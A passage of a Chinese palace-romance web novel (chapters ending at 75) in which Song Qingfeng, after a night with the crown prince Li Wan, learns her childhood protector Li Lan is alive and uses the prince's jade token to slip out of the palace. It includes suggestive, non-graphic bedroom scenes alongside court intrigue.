滚烫的唇所过之处,颤栗四起,宋轻风忍不住身子躬起,他却顺势已经整个人覆了上来。 即便是隔着衣料,还是感觉到内里滚烫的肌肤。 宋轻风想要说什么,他却立时堵住了她的嘴,彷佛要将她拆吃入腹,不给她片刻喘息的机会。 他一番操作下来,迅疾而有力,惹得宋轻风毫无招架之力,大脑浆糊一般。 李岏忍着胸口每一下的撕痛,睁开眼睛。 却瞧见在一片迷乱中,她漆黑的眼眸便盯着自己,里头映着微光,如以前一般,在行此事时一眨不眨地看着自己,的脸。 准确地说,是看着自己眼下的红痣。 那眸中的光,专注的神情以往叫他心中发热,而今却如利刃,直直地刺在他的胸口,叫他险些失控,失了理智。 他趴在耳边问道:“你说,我是谁?” 宋轻风从迷糊中醒来,还未来得及反应,已被卷入这般狂风暴雨里,脑袋浆糊一般。 没听到回答,李岏张开嘴咬了她的耳垂。 一只手却伸到胸前,掌下感受到对方噗噗跳动的心脏,强劲有力,他掌下用了力,似要将她揉碎。 宋轻风惊呼出声,他唇下用力,又问道:“我是谁?” 宋轻风断断续续地开口:“殿下……” 李岏腹下止不住地狠狠用力,声音低沉如幽魂响起:“孤说过,孤一向心狠手辣,若是你也背叛我……” 宋轻风无力招架,只能牢牢攀住了他的肩膀。 李岏却伸出另一只大掌,一把打落了床帐,而后又身后蒙住了她的眼睛。 四周彻底陷入黑暗。 黑暗里只有响动声。 李岏却又低了声音,在她耳边问道:“你欢喜吗?” “什么?” “这样你欢喜吗?” 宋轻风顿住了没有开口,好在夜色掩盖了她血红的面颊…… 宝华殿内乱了一团。 台下的人听闻镇北王看上了今夜的戏子,一时更是乌糟糟一团。 众人七嘴八舌,惦记起方才是哪个歌女,叫王爷看中了。 皇后目光自众人脸上一扫而过道:“王爷少时临危受命,为我朝去往关外镇守,哪知这一去就是十年,西北苦寒,你曾也是锦衣玉食的大公子,受了这般多的苦,而今更是老大不小,连家室也未立,本宫心中甚是惭愧,更是愧对故去的姐姐。” 皇帝道:“宁旌这般年纪,也早该成家,不若乘此机会,在京中见人定了,朕亲自为你们订婚。” 宁旌笑道:“太子殿下为尊,殿下为娶,臣怎敢先娶。” 皇帝却开口的道:“你乃是表兄,辈分上自然是以你为先。何况太子正妃关系国体,身份不明之人,绝不可入我皇室!” 低下众人面面相觑。 这些话众人心中心知肚明。 宁旌守了镇北十年,三十万大军生生成了他宁家军。 为着这三十万大军,陛下这些年如鲠在喉,如芒在背,坐立难安。 好不容易人回了京,想要再回去,又谈何容易。 只是陛下而今又对太子的婚事加以阻挠,太子而今不在,众人具都下意识看向了镇北王。 原以为他要为太子说话,哪知他却举了酒杯道:“陛下所言甚是,还是查探清楚再娶妻不迟,太子殿下年轻还小,倒也不急着这一时。” 这一句叫众人心中大惊。 太子殿下不惜违逆陛下,也要娶的人,镇北王居然也不袒护? 这二人之间,莫不是发生了什么? 皇帝显然也是一愣,却锋一转道:“我朝立朝百年,与北戎势不两立,有不共戴天之仇。我三十万镇北军抛头颅撒热血守的边境,所以不论是谁,为了一己私利,但有半分卖国求荣之心,皆是国贼草寇,不得轻饶。” 宁旌抱拳行礼道:“陛下所言甚是。” 皇帝道:“而今太子即关系在此事中,且先……” 不等他说完,却见丁德庸从外头急步入内,呈递了一封秘信。 皇帝不悦地皱了眉头,接过书信打开了,本就黑沉的面色却刷地愈发如炭一般难堪。 好一会却没再讲话。 宁旌坐在下首,余光瞧见,索性一把歪斜在桌案上道:“陛下?” 皇帝颤着手放下信来,摆手道:“夜深了,朕乏了,你们自在些吧。” 说着也不等众人起身相送,扶了皇后的手便走了。 皇帝一走,众人感到一身轻松了许多。 惊惧皆去,全都涌过来要与宁旌敬酒,宁旌歪歪扭扭地摆手道:“喝多了,实在是喝多了,本王醉了。” 说着拨来众人,走到了外面。 外头的雪居然已叫天地一片雪白。 不用拧灯笼,脚下都很清楚。 宁旌顺着厚厚的雪地往湖边走。寒风凌烈,他却似未觉,顺手还拧了拧脖颈处的衣领来透气。 他沿着湖边行了不知多久,才见到一人影负着手站在湖边的假石边。 宁旌走上前去,拍了拍他的肩头道:“唉,果然如此。” “可怎么办啊,真是愁人。” 李岚转过头来,扫了扫他泛红的脸,拉开的领口处如玉的皮肤若隐若现,不由皱了眉道:“这是你镇北王的模样?” 宁旌道:“那怎么了?我可是刀剑风雪地干了一场,还不许喝酒解闷啊!” 李岚道:“信来的还算及时。” 宁旌笑地弯下腰道:“你是没瞧见方才陛下的脸,那比锅底也差不了多少了。” “他原以为趁我离开镇北军,便能乘虚而入,夺回大权,可他哪里知道……” 他说着却停了笑,与李岚同面对着泱泱湖水,低声道:“这镇北军,他可从来不是姓宁。” 李岚道:“走吧。” 说着两人一齐深一脚浅一脚地往外走。 卡卡雪声里,两人同时停了脚步。 宁旌转过头去,却见身后的宫墙拐角处,出来一个紫袍官员。 他瞧起来四十来岁,两鬓却已斑白。 宁旌抱臂道:“喂,你跟着我们做什么?” 此刻见两人停了步,那老头颤颤巍巍地上前来,眯着眼睛打量了一眼,却突然老泪纵横。 扑地跪在雪地里,以头点地道:“大殿下。” 李岚并没有回头,却自顾往前走去,宁旌赶上他。 风雪里,渐渐失了踪迹。 —— 作者有话说:[加油] 第73章 第 73 章 他在等她 殿外落雪扑扑地愈下愈大。 打在窗台上, 发出窸窸窣窣的声响。 这声响却被屋内旖旎的春光覆盖。 在对方一轮又一轮的攻势下,宋轻风死死咬住唇,惊叫声却忍不住逸出口。 在身体极致的欢愉里落尽时, 她心中愈发如缺了一角,酸胀难言。 她在安西镇的破云庙里,等了一天又一天。 在那片被火烧尽的大山里, 寻了一夜又一夜。 直到这整个安西, 再找不到关于他的半点踪迹。 他还活着的希望,预叫渺茫, 她也慢慢接受了这样的真相。 可是今夜叫她死灰多年的心熊熊燃烧起来。 可方烧起来,一波冷水兜头浇下来。 她想要见见他,想要拉着他的衣角, 跟着他走遍大街小巷。 想要叫他看看, 自己是不是长高了,而今已是一个大姑娘了。 或者,她而今只想看看这张面容。 可是她徒劳地睁着眼睛,眼睛只有一片黑暗。 太子的大掌, 盖在她的眼睛上, 她什么也瞧不清。 她摇着头想要挣脱,对方却像是故意似的,牢牢地不放手。 宋轻风放弃了抵抗, 在又一波浪潮里,死死抓着他的背, 低声问道:“殿下, 您这里有酒吗?” 再喝得醉一些,就好了。 上头的人动作一顿,却并未离开她, 而是一把直起了上半身,掀开了床帐。 而后他又转回了头。 黑暗的帐内,黑亮幽森的眸子盯着她,宋轻风还未瞧清,他却已俯下身来。 火热的唇贴了上来,一股奇异的酒香,流进了口中。 酒极辛辣,如利刃一般顺着喉咙入了腹部。 宋轻风索性闭了眼睛,感觉整个人在一片黑暗与大河里漂浮摆动。 随着小舟的浮浮沉沉,她一时竟不知道自己醒了几回,也忘了自己有没有睡过去。 只是不管是醒着还是睡着,身上的人却似毫无疲倦,未有片刻停歇。 她抱着面前模糊地人影,喃喃地开了口:“兰,哥哥。” 哪知对方却突然一把将她翻转过去,从身后紧紧抱住了她,宽大湿热的手掌狠狠用力,誓要将她揉成碎片。 她身体躬成了虾米,颤栗如波浪,阵阵不歇,她忍不住低声求饶,眼角挂了泪。 对方却毫不留情,咬牙切齿的声音响在耳边:“宋轻风!!” 不过片刻宋轻风就在对方的攻势下,如一滩烂泥,紧紧贴在了墙壁上。 等到一切云消雨歇,她已是一根头发丝都懒得动了。 混混沌沌中,半梦半醒,不知是不是梦,对面的人似乎睁着一双黑沉沉的可怖眼睛,一直看着自己。 看了一整夜。 叫她做了好大一场噩梦。 好在睡醒之时,屋内一个人影也无,果然只是一场噩梦。 宋轻风浑身无处不痛,酸疼地连翻身都费劲。 掀开被子,才瞧见身上青紫。 这该是两人的最后一次了。 她浑身无力,索性躺着一动不动,却猛然反应过来,若她所记不差,今日便该是太子的大婚之日啊! 今日之后,她如何还能鸠占鹊巢,赖在此处? 昨夜在此留夜,一夜荒唐,心里对那位白娘子,已是生了愧疚。 她滚下床边,弯着腰扶着床边的案几,勉强才站稳。 只是突又觉得不对,外头怎么这般安静?难道仪程已结束了? 她挪到床边,打开窗户,外头居然银光素裹。 金色的殿顶被白雪覆盖。 宋轻风一愣,她竟不知居然下雪了。 上京城的天气,总是比安西和暖些,这个时候安西已不知是第几场雪了。 可是满院的红绸,红灯,居然全都消失不见了! 怎么会!发生了何事? 正要出去问询,却见乌梅居然进来了。 她低着头,规规矩矩地道:“宋娘子,奴婢为您洗簌吧?” 宋轻风一时不习惯她在方华殿的这般模样,却也无心过问,只是道:“发生了何事?” 乌梅抬起头又飞快地低下道:“殿下的婚事出了些差错,恐有变动,殿下一早已经入大内去了。” 宋轻风目瞪口呆。 这太子封妃大典,这般重要的事也是说变就变? “白娘子呢?” 乌梅道:“白娘子早两日就出宫待嫁了,而今奴婢也不知是是个什么情形。” 太子婚事有变,宋轻风也半点高兴不起来,她耷拉着脑袋坐在一旁,又道:“去先端避子汤来吧。” 乌梅却道:“方才顺意公公说,自殿下从外头回来,就不叫宫内熬避子汤了,说是这药伤身。” 说完她到底忍不住,又道:“殿下倒是偏心,怎么白娘子喝就伤身,先头给咱娘子喝就不伤身了啊?” 说完猛然想起这是在方华殿,不由咬住了唇面色大变。 宋轻风无法,这方华殿是熬不得了,索性自己回随云殿来。 叫又绿去药膳房里抓药来自己熬药。 她走到随云殿,突听到喵呜一声,小白不知从哪里窜出来。 她循声看去,却轰地一声,血液涌向头顶,叫她双目模糊,靠着门都险些站立不住。 在这殿前神兽的一角,却有一块葫芦样的雪堆。 下了一夜的雪,落了厚厚一层,却叫这雪堆愈发明显。 她一步跑上前去,掸落了石堆上的雪,露出底下三块大小不一的石头来。 这个小石堆很小,甚至就像是本来就如此,并非特意摆放的。 她四目一瞧,这墙边确实摆着许多这样的石头摆设。 不光有这样堆着的,还有许多造型奇怪的模样。 她刚热起来的心渐渐冷却下去,只是自己想多了。 可是昨夜的一切挥之不去。 他落下面具的面容,那么真切。 他看着自己的目光,深邃如深潭,叫她一想到就胸口阵阵发紧。 是在怪她怎么逗留了这么久吗? 是在怪她怎么这么久也没去看他吗? 是了,她离开安西已大半年了。 她来京师,只为达成兰哥哥的愿望。 想到此,宋轻风下意识摸到腰侧的荷包,手指方探入,却突然一阵痉挛,像是被咬了一般缩了回来。 她低下头,看着依旧鼓鼓囊囊的荷包。 上头的刺绣早已旧了。 她一把将荷包拽下来,拉开袋口朝下倒了过来,对着雪地就砰砰砰一通抖动。 里头的东西并不多,玉和糖纷纷砸在雪地里,一下就快被厚厚的雪淹没了。 她一把翻找,便见几块包裹着斑斓色彩的糖粒里,混着一个雪白色的纸球。 满地白雪,天光大亮,照得见纸球上每一条褶皱。 甚至照得见,曾经拿着它的那只手上的纹理。 宋轻风双目血红,一屁股坐在了雪地里,死死地盯着与雪地混为一体的纸球。 甚至要在上头盯出一个洞来才罢休。 雪水融化,顺着衣裳慢慢渗进内里,她却丝毫未觉。 只有呼啸的声音从耳边飞过。 “不要去,求你。” 她用尽所有力气死死抓住他的腿,哭得眼泪鼻涕一大把。 他却没有挣扎,只是静静地道:“你听,外头的声音。” 残风送来外头的声响,嘈杂的喊叫声很是遥远,却还是叫人听出了里头掺杂着婴儿哇哇的哭泣声。 她下意识松开了手。 红色的衣角消失在破云庙斑驳的门外,映着天边鲜红的云彩。 他消失前,转过头来哄她道:“乖乖等我回来,带糖给你。” 不知看了多久,宋轻风才伸出颤成筛糠的手,从雪地里拿起了纸球。 抖动的手指剥了好几遍,才将外头的纸剥开,露出里头晶莹剔透的糖来。 糖块在齿间裂开的声响混着回去清朗的笑,化开的甜味盈满了嘴角,带着一股青涩的酸。 这是安西集市上,孩子们最喜欢的糖。 也是他答应回来后要买给她的。 一阵心颤之后,她一把从地上站起来,忍不住笑出声来。 绕着雪地飞奔地转起了圈圈。 原来兰哥哥,真的没有死。 他来找她了。 路过的宫人瞧见这位宋娘子,在雪地里乐成这副模样,一时面面相觑。 果然太子殿下的婚事生了波折,倒叫她乐成这般模样。 宋轻风转了好些圈,想起前夜见到的那行人。 他们踏着雨水来到方华殿,行色匆匆。 而在那位镇北王的身后,一个隐在黑暗的身影,落进了脑海。 宋轻风一把抓起地上的玉,又看了眼雪地里零零落落散着的彩糖,犹豫了一瞬便转身跑走了。 她知道他在哪里了。 他在等她。 是走是留,等她的决意。 融雪之时,寒意陡盛。 疾跑起来,冰冷的寒风涌进口鼻,许是跑得太急,又或是风太冷,口鼻中似乎生了些血腥之味。 等她跑到第一道宫门处停下来时,已是喘得说不出话来。 哪知看守的侍卫却恭敬地拦住了她,恭敬地行礼道:“敢问是宋娘子吗?” 宋轻风喘息地点头。 那侍卫道:“娘子这是要去哪里?小人可为您代劳。” 宋轻风咽下口中的血腥之气,尽量平复了声音道:“我要出宫。” “出宫?”那侍卫又躬身道,“您出宫自然是行的。” “只是小人斗胆,娘子的令牌可否让小人查看一二?” “令牌?”宋轻风道,“我的身份,出个宫还需要令牌?” 那侍卫愈发低下头恭敬地道:“小人不敢,只是出入宫禁,必要凭着令牌的。即便小人这里放您出去,您到了重华门,东华门,只怕那些个人不曾识得娘子玉面,怕委屈了娘子。” 宋轻风平复了喘,一路奔得急,背上生了薄汗,一阵风过,叫她激灵灵抖了一抖。 她的手抬起又放下,如此几番,才阻止了自己硬闯宫门的打算。 她那日进宫之时,全福带着她足走了小半个时辰。 这宫城深深,哪里是她能这般硬闯出去的。 只是要寻令牌,便需寻个借口。 可若是太子知道…… 宋轻风一路魂不守舍地回到方华殿。 她昨夜在此过了一夜,方才才离开,而今回来,门口倒是未曾遇到阻拦。 方要掀开帘子进去,不想却见全福双手捧着个长盘,正举到太子的面前。 “太子殿下,奴婢归还您玉牌。” 果然那长盘上,放着一只拇指大的小玉牌。 李岏正盘膝坐在榻上,闻言看了一眼,随手拿起那只玉牌挂在了指尖上转了转。 而后问道:“没惊动其他人吧?” 全福一边为他斟了杯茶一边道:“奴婢是持着殿下您的玉牌办的,哪个奴婢敢多言?” 宋轻风不想自己正为令牌发愁,就瞧见了太子的玉牌。 若是持他的牌子出宫,那些人自然也不敢多言。 她死死盯着那玉牌,原盼望着太子转完会随手放在一边。 哪知道他却停了下来,顺手塞进了怀里—— 作者有话说:晚安啊 第74章 第 74 章 赌一场必然会输的局…… 镇北王府的阁楼上。 宁旌拾阶而上, 却见李岚坐在窗边,发丝解着,袍角撩开, 一条腿横在兀上,膝上放着一根绿色的发带。 听闻声响,他头也不回。 宁旌挑眉道:“也不知是谁求了我来, 而今倒是不急不缓。” 李岚将发带塞进怀里, 才抬头,双眸中隐现少见的神色:“她的路, 要她自己选。” 宁旌也坐在一旁,依在椅背上道:“说得简单,即便她选你, 这宫墙森森, 禁卫森严,我们将白姑娘带进这镇北王府,都绕了这么大一圈,你以为她一个小姑娘, 这般容易出得来?” 李岚却笑道:“我是看着她长大的, 我们风儿,可不是小白菜。” “便是大白菜又如何!”宁旌一把站起身来,面上玩笑的神色骤然消失, “就你生得这般模样,谁认不出你!昨日冒险带你进宫, 我到现在都后悔不迭。” 宁旌抓住他的袖子道:“别逗留了, 早点走!在这多一日便多一日的危险!” “危险?” 李岚面上笑容不减,嘴角勾出弧度来,他一把拂开宁旌的手, 斜靠在墙上,看了窗外的雪色道:“自我出生的那一日起,哪一日不是如此?” 宁旌闻言,闭了嘴。 李岚道:“小时候,我最爱这上京的下雪日。” “只有这个时候,天寒露重,才不用每日去勤政殿问安,不必每日里受着那人噬人厌恶的目光。” “我也可以在这宫城里四处打闹,在雪地里比谁的脚印更大,比谁堆的雪人更好看,比谁扔的雪团最远。” 宁旌张了张口,有些不知说什么。 大殿下出生在皇帝登基的那一年,那时陛下膝下一个皇子也无。 按理说这样的贵子该是集万千宠爱于一身。 听闻他出生时,陛下欢喜地三日三夜未曾合眼,在紫晨宫里欢喜地像个孩子。甚至为庆贺嫡长子出生,一夜连发十二道赦免令,大赦天下。 更是命令停朝十日,大宴群臣,所有人皆要入宫庆贺嫡长子的降生。 只可惜。 这欢喜消亡在他出生的第四日。 只因有人嘀咕了一句,大殿下出生的日子,倒是正好啊。 皇帝被兴奋冲晕的头脑突然一个狠狠地激灵,长子出生的喜悦,瞬间如潮水哗啦啦褪去,褪了一干二净,只余无尽的寒。 他发疯似地抓了宫中所有的档事内监,抓来了所有的太医。 可都是一个结论。 皇后怀孕的时辰,正是先帝暴毙之时。 先帝无子,暴毙之后,身为弟弟的当今陛下继承了他的皇位。 而后陛下强娶了哥哥的皇后,重立为后,偏偏在这个时候,皇后怀了身孕。 大殿下的身份,也从此成了谜。 皇帝看着他,心头的怀疑却愈发膨大。 他的存在无一刻不在提醒自己,这个儿子,并非自己的骨血,更可能是他兄长的遗腹子。 更可怖的是,兄终弟及,乃是因先皇膝下无子,可若他真是先皇骨血,父死子继,才是正统。 自己这个弟弟的继统资格,又如何能够服众? 果然暗处已有大臣蠢蠢欲动。 皇帝杀尽了知道此事的人,可整日里看着这个长子,便如根毒刺一般扎在心头,辗转难安。 若不是皇后千方百计保住他,只怕他早已死在襁褓里。 只是如此以后,大殿下的身份,却一落千丈。 他从这世上最尊崇的嫡长子,成了一个不尴不尬的皇子。 更是动辄得咎,为了一点小事,皇帝便对其罚跪体罚,如家常便饭一般。 说到危险,他在宫中长大的这几年,哪一日不是在刀尖上行走。 他小时候就知道,自己每一日入睡,都可能见不到第二日的太阳。 李岚道:“说来那时候我动不动在殿里被罚跪,又冷又饿的时候,倒是太子常偷偷揣着点心来看我。” 说到此李岚却笑了笑道:“他小时候分明是个爱哭的鼻涕虫,自己还可怜巴巴的,却一边抹眼泪一边说长大之后要保护哥哥。” “而今瞧着倒是沉稳了许多,也无趣了许多。” 宁旌看着这两位表弟,如此相似的容貌,一阵无言。 他们本是极要好的,谁想到会走到兄弟相杀的下场?。 李岏低下头,瞧见手心的红痕,复又紧紧握住。 他起身走到窗边,看向窗外的皑皑白雪。 突然想起很久以前,哥哥方罚跪回来,走路一瘸一拐,小少年的脸皱成了一团。 他走着走着突然抬头,瞧见弟弟正缩成一团站在雪地里等自己,他立刻就挺直了身子,无事人一般走到面前来,笑道:“太子殿下,怎么哭丧着脸?” 那时他冻得嘴唇发乌,哭哭啼啼地道:“哥哥,我怕……” 他弯下腰拍了他毛茸茸的脑袋道:“胆小鬼,怕什么。” 而后又得意地道:“我们去骑马吧!我最近拜了个可厉害的师傅,那百步穿杨的绝技,简直就是天神下凡,师傅还夸我天赋异禀,非常人呢!来哥哥秀一手给你看,保准叫你惊地合不拢嘴!” 他射起箭来,果然比之前强了许多,虎虎生风。 他将自己的弓塞进他小小的手里道:“来,我教你!” 少年的声音渐渐远去,消散在风里。 李岏下意识摸了摸腕上的追影,突然抬起头,双眸漆黑如墨,对着远处屋檐下的铁马射去。 不过片刻,四处檐下的铁马发出激烈的声响。 沉闷又响亮的声响,在沉闷的宫城里回荡。 铃声经久不息。 宫内行走的众人纷纷驻足,惊讶地抬头张望。 守在四处的守卫和暗卫大惊,再顾不得其他纷纷出动。 一时宫内纷扰,如一巨石激落入海,惊起滔天巨浪。 只是在紧张地搜寻中,谁也没发现这刺客的来源。 李岏收回手,下意识抬到面上,将要碰到脸颊上时又如针扎一般地缩回了手。 他想起昨夜之事,就如梦境一般。 不由一把关了窗转过头来道:“宋娘子回了随云殿?” 不等他话音落,却听顺意急匆匆地过来道:“太子殿下。” “什么事?” “方才随云殿有人来报,宋娘子生病了。”。 宋轻风躺在床上,裹紧了被子。 李岏到的时候,只瞧见黑黑的脑袋,缩在被子里。 屋内炭火烧得极旺,甚至热风铺面。 他心中一惊。 想到在宫外的那场凶险的风寒,不由一步跨上前去,将她从被子里扒拉出来,才瞧见她闪烁着惊慌的眼睛,看着自己。 此刻她衣衫不整,头发披散着,顺着脖颈,隐约露出颈下的紫红印来,延伸到深处。 李岏心中一窒,想到昨夜自己所为,一时却生了愧意。 宋轻风重又裹紧了被子,双眸自他面上扫过,却不敢看他。 结结巴巴地道:“太……太子殿下。” 李岏伸手就摸上了她的额头,好在额有些许热,应该不算严重。 “太医呢?” 宋轻风忙道:“妾无事,只是有些头晕,自己熬点汤药吃吃就好,不必叫太医了。” 李岏冷着脸,皱了眉头道:“如何自己熬药?” 身旁全福不等吩咐,忙叫人去寻太医来。 “昨夜,孤下手有些重了……” 宋轻风见他低下头,长睫颤动,不由心中一跳,忙转了话题道:“听闻,听闻您的婚事遇到了波折?” “嗯。”李岏道。 宋轻风道:“您别急,好事多磨,总能成的。” 李岏看着她,看她漆黑的双眸看着自己,一时心中如针扎一般,透不过气。 此刻她眼中看着的,到底是谁呢? 正如她昨夜口口声声叫着的,都是别人吧? 不过她而今缩在被子里,楚楚可怜地看着自己,能是能一直这般下去,她看着的是谁,又有什么关系? 他嗓音微哑,开口道:“宋轻风。” “嗯?” “你,我只有你,以后也只有你,你不会离开我的,对吗?” 宋轻风看着他如琥珀般的眸子定定地看了自己,彷佛有穿透力一般要看到她的心里去,不由转走了目光。 好在还未回答,却见乌梅战战兢兢地捧了药碗来。那碗内盛着红褐色的药,一股酸辣的味道弥漫开来。 宋轻风忙直起身子,道:“来,将药给我。” 李岏皱眉道:“这是什么药?” 乌梅吓得跪在一旁,结结巴巴地道:“是……是是奴婢熬的驱寒散……” 驱寒散是宫中常用的方剂,喝喝倒也无妨。 宋轻风捧着碗,方要仰头去喝,不想手下发软,药碗倾撒下来。 一碗褐色的药,正正撒在李岏的身上。 温热的药汁很快渗透了衣裳,好在药并不很烫。 屋内众人大惊。 全福忙抽出巾帕来擦,是半点于事无补。 李岏一动不动地坐着,眼见从胸口到下摆,淋淋漓漓撒了一身,竟都往下滴水。 宋轻风一把自床上下来,面露惊慌地道:“殿下……” 李岏看着她,摆手道:“无妨。” 他的随行常备各色衣裳用物,就地换了倒也不是难事。 宋轻风道:“外头风寒,妾,妾伺候您就在此处换身干净衣裳吧。” 李岏道:“你躺着吧。” 说着在全福的服侍下,便在屏风那头换衣裳。 宋轻风走上前去,便瞧见了腰带玉坠等物,摆在了衣裳的旁边。 她走上前去,一眼瞧见了玉牌,但是玉牌旁边,还摆着一只绣得歪歪扭扭的兰花荷包。 她心口一窒,这是她未曾绣完的半成品,不想却在他的怀里。 而这荷包旁边,却有一个布包着的小物件。 她不过好奇地掀开一角,便瞧见一只面人,与自己极为相似的面容,笑眯眯地露了出来。 宋轻风吓得手一抖,忙缩回了手,吓得心中砰砰乱跳。 她强迫自己转回目光,取过腰带来,要与李岏系腰带。 李岏见她过来,自己伸手接过,全福道:“宋娘子您且休息,奴婢来。” 宋轻风胡乱地点了点头。 又取过案上的玉佩,要与李岏系上,全福忙又接过道:“宋娘子,奴婢来。” 这宋娘子的内殿,殿下不知为何又不许叫旁人进来,只他一个跟了来服侍。 宋轻风在一旁帮忙,倒叫他愈发手忙脚乱。 而今人病着,他怎么敢叫她上手伺候。 忙忙乱乱中,李岏换好了衣裳,太医也便来了。 等号完了脉,抓了方,时辰不早,宋轻风忍不住肚子咕咕叫。 李岏看了她问道:“想吃什么?孤叫人去做。” 宋轻风看了他雪白冷肃的面容,紧抿的唇角,突然想到那夜的一碗面。 也便是那个时候,她觉得两人似乎有些夫妻的样子。 遂笑了笑道:“想吃面,带荷包蛋的面。” 李岏愣了愣,而后道:“好。” 说着他却起身,深深地看了她一眼,而后道:“孤先去了。” 宋轻风看着他颀长消瘦的背影,慢慢走到门边。 雪光在他周身镀上了一层模糊的光晕。 不知为何,他的身影映着屋外的皑皑白雪,远处的红墙白瓦,如此幽深,竟叫她觉出萧索的味道。 眼见着人影渐渐远去,宋轻风心中没来由地有些堵地难受,不由叫了一声道:“太子殿下。” 李岏站在门边,回了头,眉目隐在光影之下。 宋轻风嗫嚅了半日,也不知要说些什么,心中似乎有许多想说的话,却又似乎无言以对。 好一会只是道:“殿下,雪天路滑,您路上小心。” 李岏点了点头,却下意识伸手扶住了门框。 而后似乎低头咳嗽了一声,不过片刻又松了手。 缓缓而行,慢慢消失在庭院里。 眼瞧着跟随他的侍卫们一个个消失在随云殿,宋轻风捏了捏袖子里的玉牌,双手隐隐发颤。 她蹲到院子里,寻到被乌梅方才关在笼子里的小白。 将笼子打开,小白委屈地喵呜喵呜跑出来。 她摸了摸小白的脖颈道:“你还年轻,好好吃饭,乖乖长大。” 而后又瞧了瞧昂了首站在殿顶的嘎嘎,点了点头道:“在那里虽然冷了些,但好在谁也伤不了你。” “唉,很快你们都会忘了我。” 她看了看,叹息了一声,重又打开了殿门…… 李岏回到方华殿,却未往主殿去,而是径直去了西北角的小屋。 全福要跟着,却被他一个眼神制止了。 屋子并不大,屋内的人瞧见他进来,愣了好一会才发现他穿得衣裳黑底金线,腰间坠着盘龙纹玉佩。 众人这才反应过来,扑通通跪了一地。 李岏看也未看,走了进去冷声道:“都出去。” 众人不敢多言,埋着头很快撤了干净。 屋子里东西齐全,林林种种许多样。 他站在里面,想起好像是很久以前,他的生辰那日,便瞧见她趴在这桌案上睡着了,炉子里咕咚咕咚地,是为他熬的羹汤,是他从未感受过的暖意。 李岏挽起袖子,熟练地从盆里舀了面粉来。 他小时候偷偷地给哥哥送东西,常常便摸到小厨房来。 只可惜里头剩的东西大多冷硬,他便偷偷学着那些人的模样,揉面做糕点,要给哥哥热乎乎的东西吃。 只是他那时个子太小,要搬个凳子来站着,便是随意的舀个水,都费好大的劲。 他小小的心里并不明白为何陛下会这般厌恶哥哥。 明明他们是亲兄弟。 只是他生为弟弟,却成了太子,锦衣玉食,整日里一群人围着,哥哥聪慧过人,却动辄得咎,人人避让。 他心下忐忑,心里总觉得是抢了属于哥哥的东西一般。 只是他年纪尚小,只能试着做些吃的,希望弥补,讨好他。 后来他去膳房的事却被人发现了,不光跟着他的人都被罚了一通,他也被陛下叫到跟前,狠狠地训斥了一通。 都说君子远庖厨,何况太子? 他记得陛下冷冷地道:“若是太子当腻了,不妨早些让出位置来。” 他自然不会让。 若他连太子都不是,他们兄弟,还有他的母亲,要如何在宫里活下去。 他从此再没进过膳房。 李岏洗净了手,看着锅中翻滚的面汤,乳白色的汤散出阵阵暖人心脾的香气。 他看了看,在那金灿灿的荷包蛋上,学着她的样子也做个可笑的笑脸。 而后自端了食盒。 方走到殿门口,脚步突然顿住。 余光里,不远处的雪堆里闪出一阵炫目的色彩。 他艰难地挪动脚步走上前去,瞧见雪地里露出斑斓的一角。 李岏感觉到膝盖如生了锈一般僵直,艰难地蹲下身来。 在冰冷的雪里轻轻一挖,便见几粒包裹着斑斓色彩的糖落在雪地里。 正是他从宫宴上,带回来给宋轻风的苏糖。 而今撒落在地,与融化的泥水混在一处。 哐当一声轻响,食盒滚落在地,里头的面撒落出来,荷包蛋上的笑脸,愈加歪斜。 李岏止不住跪倒在雪地里。 雪水顺着膝盖,刺骨地寒。 远远跟着的侍卫心中剧震,面面相觑也哗啦啦跪了一地。 高守膝行上前,颤着声音道:“太子殿下?”,欲将他扶起来。 李岏扬起头来,轻触碰了脸颊,触手冰凉。 他看着头顶四四方方的天空,低声道:“他们都走了。” 高守困惑地也抬头看了看,天色晴朗,宫墙的上方,一片寂静。 除了四处飞檐屋顶,什么也没有。 高守不由问道:“殿下您说谁?” 李岏低下头,仿若未闻。 他从雪地里捡起一粒糖来,慢慢剥开斑斓的纸皮,露出里头晶莹剔透的糖。 糖入口中,先是苦涩,而后甜味才在口中慢慢地弥散开来。 他闭了闭眼睛,试图抓住这仅有的一丝甜。 这世上,没人不喜欢糖。 他便是太子,铁石心肠的人,也贪念这一点点滋味。 停了半日的雪复又下了起来。 不过片刻,转了鹅毛大雪。 天地之间悠扬而舞,不过片刻就落了他一头一脸。 他想起昨夜在湖边。 时隔多年他们第一次相见,他激动地心中剧颤。 哥哥二字,在喉边翻来覆去,却再叫不出口。 只是未曾想到,他冒了这么大的风险来此,是为了宋轻风。 原来他如此轻易地就放了手,眼睁睁看着自己将人抱走,是因为聪慧若斯,他最知道攻心为上。 他就是要让自己看清楚,她的心根本不在自己身上。 他什么都不用做,只需要站在那里,只需要让她知道他来了,她便会想法设法地去寻他。 他根本不需要来抢。 李岏摸了摸怀里,里头空荡荡地什么也无。 想来他当真是自负地可笑。 他一早就从侍卫处知道她去了宫门,也猜到她在寻出宫的令牌。 他故意将玉牌拿出来,只是想要赌一场。 赌一场他知道自己必然会输的局。 第75章 第 75 章 与人跑了 他是个穷凶极恶的赌徒。 即便是真相都摆在面前, 他还是要赌。 即便是毫无胜算,却存着最后一丝侥幸,只希冀有万分之一的可能, 她能为了自己留下来。 他自然是赌输了。 从始至终,自己不过是个替代品。 不管在哪里,都是如此。 皇帝期望能有一个自己血脉的嫡子, 代替那身份不明的长子。 母亲不过是期望生下他, 能保住自己长子的性命。 而她,不过是把自己当作了别人。 便是方才的楚楚可怜, 都是装出来骗他的。 只是为了得到他的令牌,出宫去见自己的心上人。 呵,心上人。 李岏站起身来, 扫见散落在地的食盒, 蛋上的笑脸歪斜,也仿佛在嘲笑自己的可笑。 他到底一抬脚,狠狠踢了过去。 砰地一声巨响,盒子四分五裂, 里头的面汤淋淋漓漓撒了一地。 众人从未见太子殿下发过这般大的火, 具都噤若寒蝉。 有侍卫从外面飞奔前来,正撞见此间场景,那盒子便滚落在脚边, 不由面色一白,扑地跪倒在地。 不知过了多久, 李岏闭了闭眼睛, 才哑声开口:“何事?” 那侍卫颤颤巍巍地回禀道:“回太子殿下,不好了,陛下那里出事了。”。 不想这令牌当真如此好用。 各宫门守卫瞧见, 无不迅速放了行,一路畅通无阻,宋轻风很快出了宫城。 她站在金水桥上忍不住回头望了一眼。 巍峨宫城,墙高百尺,里头什么也瞧不见。 这宫城出来不易,进去更难。 只怕她以后也没机会进去了。 她从怀里取出一只面人,这面人抿着嘴,一脸不情不愿的样子。 宋轻风不由点了面人的额头低声道:“太子殿下,以后多笑笑吧,后会无期了。” 